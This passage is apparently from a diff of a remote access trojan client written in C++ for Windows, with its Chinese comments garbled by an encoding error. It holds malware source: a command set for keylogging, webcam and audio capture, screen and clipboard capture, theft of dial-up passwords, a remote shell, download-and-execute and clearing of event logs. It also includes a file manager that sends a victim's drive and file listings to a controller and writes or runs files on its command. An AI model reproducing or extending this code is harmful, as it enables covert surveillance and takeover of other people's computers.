COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_REGEDIT,
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4>BITMAPINFO
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
TOKEN_REG_KEY,
TOKEN_REG_PATH,
COMMAND_BYE
};
typedef struct _THREAD_ARG_LIST
{
DWORD (WINAPI *StartAddress)(LPVOID lParameter);
LPVOID lParam;
bool bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ??
HANDLE hEvent;
}THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
SIZE_T dwStackSize, //<2F>߳<EFBFBD>ջ<EFBFBD>Ĵ<EFBFBD>С 0
LPTHREAD_START_ROUTINE StartAddress, //<2F>̺߳<DFB3><CCBA><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> MyMain
LPVOID lParam, //char* strHost IP
DWORD dwCreationFlags, //0 4
LPDWORD ThreadId, bool bInteractive=FALSE);
DWORD WINAPI ThreadProc(LPVOID lParam);
DWORD WINAPI LoopShellManager(LPVOID lParam);
DWORD WINAPI LoopScreenManager(LPVOID lParam);
DWORD WINAPI LoopFileManager(LPVOID lParam);
DWORD WINAPI LoopTalkManager(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam);
DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);

40
client/CursorInfor.cpp Normal file
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@@ -0,0 +1,40 @@
// CursorInfor.cpp: implementation of the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CursorInfor.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CCursorInfor::CCursorInfor()
{
}
CCursorInfor::~CCursorInfor()
{
}
int CCursorInfor::GetCurrentCursorIndex()
{
CURSORINFO ci;
ci.cbSize = sizeof(CURSORINFO);
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
{
return -1;
}
int iIndex = 0;
for (iIndex = 0; iIndex < MAX_CURSOR_TYPE; iIndex++)
{
break;
}
DestroyCursor(ci.hCursor);
return iIndex == MAX_CURSOR_TYPE ? -1 : iIndex;
}

22
client/CursorInfor.h Normal file
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@@ -0,0 +1,22 @@
// CursorInfor.h: interface for the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define MAX_CURSOR_TYPE 16
class CCursorInfor
{
public:
CCursorInfor();
virtual ~CCursorInfor();
int GetCurrentCursorIndex();
};
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)

View File

@@ -0,0 +1,3 @@
EXPORTS
TestRun
StopRun

497
client/FileManager.cpp Normal file
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@@ -0,0 +1,497 @@
// FileManager.cpp: implementation of the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "FileManager.h"
#include "Common.h"
#include <Shellapi.h>
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CFileManager::CFileManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
m_ulTransferMode = TRANSFER_MODE_NORMAL;
SendDiskDriverList();
}
ULONG CFileManager::SendDiskDriverList() //<2F><><EFBFBD>ñ<EFBFBD><C3B1>ض˵Ĵ<CBB5><C4B4><EFBFBD><EFBFBD><EFBFBD>Ϣ
{
char szDiskDriverString[0x500] = {0};
// ǰһ<C7B0><D2BB><EFBFBD>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA>Ϣ<EFBFBD><CFA2><EFBFBD>ͣ<EFBFBD><CDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>52<35>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE szBuffer[0x1000] = {0};
char szFileSystem[MAX_PATH] = {0};
char *Travel = NULL;
szBuffer[0] = TOKEN_DRIVE_LIST; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
GetLogicalDriveStrings(sizeof(szDiskDriverString), szDiskDriverString);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
//0018F460 43 3A 5C 00 44 3A 5C 00 45 3A 5C 00 46 3A C:\.D:\.E:\.F:
//0018F46E 5C 00 47 3A 5C 00 48 3A 5C 00 4A 3A 5C 00 \.G:\.H:\.J:\.
Travel = szDiskDriverString;
unsigned __int64 ulHardDiskAmount = 0; //HardDisk
unsigned __int64 ulHardDiskFreeSpace = 0;
unsigned long ulHardDiskAmountMB = 0; // <20>ܴ<EFBFBD>С
unsigned long ulHardDiskFreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
//0018F460 43 3A 5C 00 44 3A 5C 00 45 3A 5C 00 46 3A C:\.D:\.E:\.F:
//0018F46E 5C 00 47 3A 5C 00 48 3A 5C 00 4A 3A 5C 00 \.G:\.H:\.J:\. \0
//ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dwOffset<65><74><EFBFBD>ܴ<EFBFBD>0 <20><>Ϊ0<CEAA><30>λ<EFBFBD><EFBFBD><E6B4A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>
DWORD dwOffset = 1;
for (; *Travel != '\0'; Travel += lstrlen(Travel) + 1) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+1Ϊ<31>˹<EFBFBD>\0
{
memset(szFileSystem, 0, sizeof(szFileSystem));
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
GetVolumeInformation(Travel, NULL, 0, NULL, NULL, NULL, szFileSystem, MAX_PATH);
ULONG ulFileSystemLength = lstrlen(szFileSystem) + 1;
SHFILEINFO sfi;
SHGetFileInfo(Travel,FILE_ATTRIBUTE_NORMAL,&sfi,
sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
ULONG ulDiskTypeNameLength = lstrlen(sfi.szTypeName) + 1;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>С
if (Travel[0] != 'A' && Travel[0] != 'B'
&& GetDiskFreeSpaceEx(Travel, (PULARGE_INTEGER)&ulHardDiskFreeSpace,
(PULARGE_INTEGER)&ulHardDiskAmount, NULL))
{
ulHardDiskAmountMB = ulHardDiskAmount / 1024 / 1024; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>Ҫת<D2AA><D7AA><EFBFBD><EFBFBD>G
ulHardDiskFreeMB = ulHardDiskFreeSpace / 1024 / 1024;
}
else
{
ulHardDiskAmountMB = 0;
ulHardDiskFreeMB = 0;
}
// <20><>ʼ<EFBFBD><CABC>ֵ
szBuffer[dwOffset] = Travel[0]; //<2F>̷<EFBFBD>
szBuffer[dwOffset + 1] = GetDriveType(Travel); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD>̿ռ<CCBF><D5BC><EFBFBD><EFBFBD><EFBFBD>ռȥ<D5BC><C8A5>8<EFBFBD>ֽ<EFBFBD>
memcpy(szBuffer + dwOffset + 2, &ulHardDiskAmountMB, sizeof(unsigned long));
memcpy(szBuffer + dwOffset + 6, &ulHardDiskFreeMB, sizeof(unsigned long));
// <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
memcpy(szBuffer + dwOffset + 10, sfi.szTypeName, ulDiskTypeNameLength);
memcpy(szBuffer + dwOffset + 10 + ulDiskTypeNameLength, szFileSystem,
ulFileSystemLength);
dwOffset += 10 + ulDiskTypeNameLength + ulFileSystemLength;
}
return m_ClientObject->OnServerSending((char*)szBuffer, dwOffset);
}
CFileManager::~CFileManager()
{
cout<<"Զ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<<endl;
}
VOID CFileManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0])
{
case COMMAND_LIST_FILES:
{
SendFilesList((char*)szBuffer + 1); //<2F><>һ<EFBFBD><D2BB><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>Ϣ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
break;
}
case COMMAND_FILE_SIZE:
{
CreateClientRecvFile(szBuffer + 1);
break;
}
case COMMAND_FILE_DATA:
{
WriteClientRecvFile(szBuffer + 1, ulLength-1);
break;
}
case COMMAND_SET_TRANSFER_MODE:
{
SetTransferMode(szBuffer + 1);
break;
}
case COMMAND_OPEN_FILE_SHOW:
{
ShellExecute(NULL, "open", (char*)(szBuffer + 1), NULL, NULL, SW_SHOW); //CreateProcess
break;
}
case COMMAND_RENAME_FILE:
{
szBuffer+=1;
char* szExistingFileFullPath = NULL;
char* szNewFileFullPath = NULL;
szNewFileFullPath = szExistingFileFullPath = (char*)szBuffer;
szNewFileFullPath += strlen((char*)szNewFileFullPath)+1;
Rename(szExistingFileFullPath,szNewFileFullPath);
break;
}
}
}
//dkfj C:\1.txt\0 D:\3.txt\0
VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath)
{
MoveFile(szExistingFileFullPath, szNewFileFullPath);
}
VOID CFileManager::SetTransferMode(LPBYTE szBuffer)
{
memcpy(&m_ulTransferMode, szBuffer, sizeof(m_ulTransferMode));
GetFileData();
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer)
{
// //[Flag 0001 0001 E:\1.txt\0 ]
FILE_SIZE* FileSize = (FILE_SIZE*)szBuffer;
// <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
memset(m_szOperatingFileName, 0,
sizeof(m_szOperatingFileName));
strcpy(m_szOperatingFileName, (char *)szBuffer + 8); //<2F>Ѿ<EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD>Ϣͷ<CFA2><CDB7>
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
m_OperatingFileLength =
(FileSize->dwSizeHigh * (MAXDWORD + 1)) + FileSize->dwSizeLow;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
MakeSureDirectoryPathExists(m_szOperatingFileName);
WIN32_FIND_DATA wfa;
HANDLE hFind = FindFirstFile(m_szOperatingFileName, &wfa);
//1 2 3 1 2 3
if (hFind != INVALID_HANDLE_VALUE
&& m_ulTransferMode != TRANSFER_MODE_OVERWRITE_ALL
&& m_ulTransferMode != TRANSFER_MODE_JUMP_ALL
)
{
BYTE bToken[1];
bToken[0] = TOKEN_GET_TRANSFER_MODE;
m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken));
}
else
{
GetFileData(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ļ<EFBFBD><C4BC>ͻ<EFBFBD>ִ<EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
}
FindClose(hFind);
}
VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength)
{
BYTE *Travel;
DWORD dwNumberOfBytesToWrite = 0;
DWORD dwNumberOfBytesWirte = 0;
int nHeadLength = 9; // 1 + 4 + 4 <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
FILE_SIZE *FileSize;
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><C6AB>
Travel = szBuffer + 8;
FileSize = (FILE_SIZE *)szBuffer;
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>
LONG dwOffsetHigh = FileSize->dwSizeHigh;
LONG dwOffsetLow = FileSize->dwSizeLow;
dwNumberOfBytesToWrite = ulLength - 8;
HANDLE hFile =
CreateFile
(
m_szOperatingFileName,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int iRet = 0;
// д<><D0B4><EFBFBD>ļ<EFBFBD>
iRet = WriteFile
(
hFile,
Travel,
dwNumberOfBytesToWrite,
&dwNumberOfBytesWirte,
NULL
);
CloseHandle(hFile);
BYTE bToken[9];
bToken[0] = TOKEN_DATA_CONTINUE;//TOKEN_DATA_CONTINUE
dwOffsetLow += dwNumberOfBytesWirte; //
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken));
}
BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath)
{
char* szTravel = NULL;
char* szBuffer = NULL;
DWORD dwAttributes;
__try
{
szBuffer = (char*)malloc(sizeof(char)*(strlen(szDirectoryFullPath) + 1));
if(szBuffer == NULL)
{
return FALSE;
}
strcpy(szBuffer, szDirectoryFullPath);
szTravel = szBuffer;
if (0)
{
}
else if(*(szTravel+1) == ':')
{
szTravel++;
szTravel++;
if(*szTravel && (*szTravel == '\\'))
{
szTravel++;
}
}
while(*szTravel) //\Hello\World\Shit\0
{
if(*szTravel == '\\')
{
*szTravel = '\0';
dwAttributes = GetFileAttributes(szBuffer); //<2F><EFBFBD>Ƿ<EFBFBD><C7B7>Ƿ<EFBFBD>Ŀ¼ Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(dwAttributes == 0xffffffff)
{
if(!CreateDirectory(szBuffer, NULL))
{
if(GetLastError() != ERROR_ALREADY_EXISTS)
{
free(szBuffer);
return FALSE;
}
}
}
else
{
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
{
free(szBuffer);
szBuffer = NULL;
return FALSE;
}
}
*szTravel = '\\';
}
szTravel = CharNext(szTravel);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
if (szBuffer!=NULL)
{
free(szBuffer);
szBuffer = NULL;
}
return FALSE;
}
if (szBuffer!=NULL)
{
free(szBuffer);
szBuffer = NULL;
}
return TRUE;
}
ULONG CFileManager::SendFilesList(char* szDirectoryPath)
{
// <20><><EFBFBD>ô<EFBFBD><C3B4>ʽ
m_ulTransferMode = TRANSFER_MODE_NORMAL;
ULONG ulRet = 0;
DWORD dwOffset = 0; // λ<><CEBB>ָ<EFBFBD><D6B8>
char *szBuffer = NULL;
ULONG ulLength = 1024 * 10; // <20>ȷ<EFBFBD><C8B7><EFBFBD>10K<30>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
szBuffer = (char*)LocalAlloc(LPTR, ulLength);
if (szBuffer==NULL)
{
return 0;
}
char szDirectoryFullPath[MAX_PATH];
wsprintf(szDirectoryFullPath, "%s\\*.*", szDirectoryPath);
HANDLE hFile = INVALID_HANDLE_VALUE;
WIN32_FIND_DATA wfd;
hFile = FindFirstFile(szDirectoryFullPath, &wfd);
if (hFile == INVALID_HANDLE_VALUE)
{
BYTE bToken = TOKEN_FILE_LIST;
if (szBuffer!=NULL)
{
LocalFree(szBuffer);
szBuffer = NULL;
}
return m_ClientObject->OnServerSending((char*)&bToken, 1); //·<><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
szBuffer[0] = TOKEN_FILE_LIST;
// 1 Ϊ<><CEAA><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>ռ<EFBFBD>ֽ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
dwOffset = 1;
/*
<09>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1
<09>ļ<EFBFBD><C4BC><EFBFBD> strlen(filename) + 1 ('\0')
<09>ļ<EFBFBD><C4BC><EFBFBD>С 4
*/
do
{
// <20><>̬<EFBFBD><CCAC>չ<EFBFBD><D5B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (dwOffset > (ulLength - MAX_PATH * 2))
{
ulLength += MAX_PATH * 2;
szBuffer = (char*)LocalReAlloc(szBuffer,
ulLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
char* szFileName = wfd.cFileName;
if (strcmp(szFileName, ".") == 0 || strcmp(szFileName, "..") == 0)
continue;
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1 <20>ֽ<EFBFBD>
//[Flag 1 HelloWorld\0<><30>С <20><>С ʱ<><CAB1> ʱ<><CAB1>
// 0 1.txt\0 <20><>С <20><>С ʱ<><CAB1> ʱ<><CAB1>]
*(szBuffer + dwOffset) = wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
dwOffset++;
// <20>ļ<EFBFBD><C4BC><EFBFBD> lstrlen(pszFileName) + 1 <20>ֽ<EFBFBD>
ULONG ulFileNameLength = strlen(szFileName);
memcpy(szBuffer + dwOffset, szFileName, ulFileNameLength);
dwOffset += ulFileNameLength;
*(szBuffer + dwOffset) = 0;
dwOffset++;
// <20>ļ<EFBFBD><C4BC><EFBFBD>С 8 <20>ֽ<EFBFBD>
memcpy(szBuffer + dwOffset, &wfd.nFileSizeHigh, sizeof(DWORD));
memcpy(szBuffer + dwOffset + 4, &wfd.nFileSizeLow, sizeof(DWORD));
dwOffset += 8;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 8 <20>ֽ<EFBFBD>
memcpy(szBuffer + dwOffset, &wfd.ftLastWriteTime, sizeof(FILETIME));
dwOffset += 8;
} while(FindNextFile(hFile, &wfd));
ulRet = m_ClientObject->OnServerSending(szBuffer, dwOffset);
LocalFree(szBuffer);
FindClose(hFile);
return ulRet;
}
VOID CFileManager::GetFileData()
{
int nTransferMode;
switch (m_ulTransferMode) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Case<73>е<EFBFBD>
{
case TRANSFER_MODE_OVERWRITE_ALL:
nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case TRANSFER_MODE_JUMP_ALL:
nTransferMode = TRANSFER_MODE_JUMP; //CreateFile<6C><65>always open<65><6E><EFBFBD><EFBFBD>eixt<78><74>
break;
default:
nTransferMode = m_ulTransferMode; //1. 2 3
}
WIN32_FIND_DATA wfa;
HANDLE hFind = FindFirstFile(m_szOperatingFileName, &wfa);
//1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
BYTE bToken[9];
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC>򿪷<EFBFBD>ʽ
memset(bToken, 0, sizeof(bToken));
bToken[0] = TOKEN_DATA_CONTINUE;
// <20>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
if (hFind != INVALID_HANDLE_VALUE)
{
// <20><><EFBFBD><EFBFBD>
if (nTransferMode == TRANSFER_MODE_OVERWRITE)
{
//ƫ<><C6AB><EFBFBD><EFBFBD>0
memset(bToken + 1, 0, 8);//0000 0000
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
dwCreationDisposition = CREATE_ALWAYS; //<2F><><EFBFBD>и<EFBFBD><D0B8><EFBFBD>
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
else if(nTransferMode == TRANSFER_MODE_JUMP)
{
DWORD dwOffset = -1; //0000 -1
memcpy(bToken + 5, &dwOffset, 4);
dwCreationDisposition = OPEN_EXISTING;
}
}
else
{
memset(bToken + 1, 0, 8); //0000 0000 //û<><C3BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
dwCreationDisposition = CREATE_ALWAYS; //<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>µ<EFBFBD><C2B5>ļ<EFBFBD>
}
FindClose(hFind);
HANDLE hFile =
CreateFile
(
m_szOperatingFileName,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
dwCreationDisposition, //
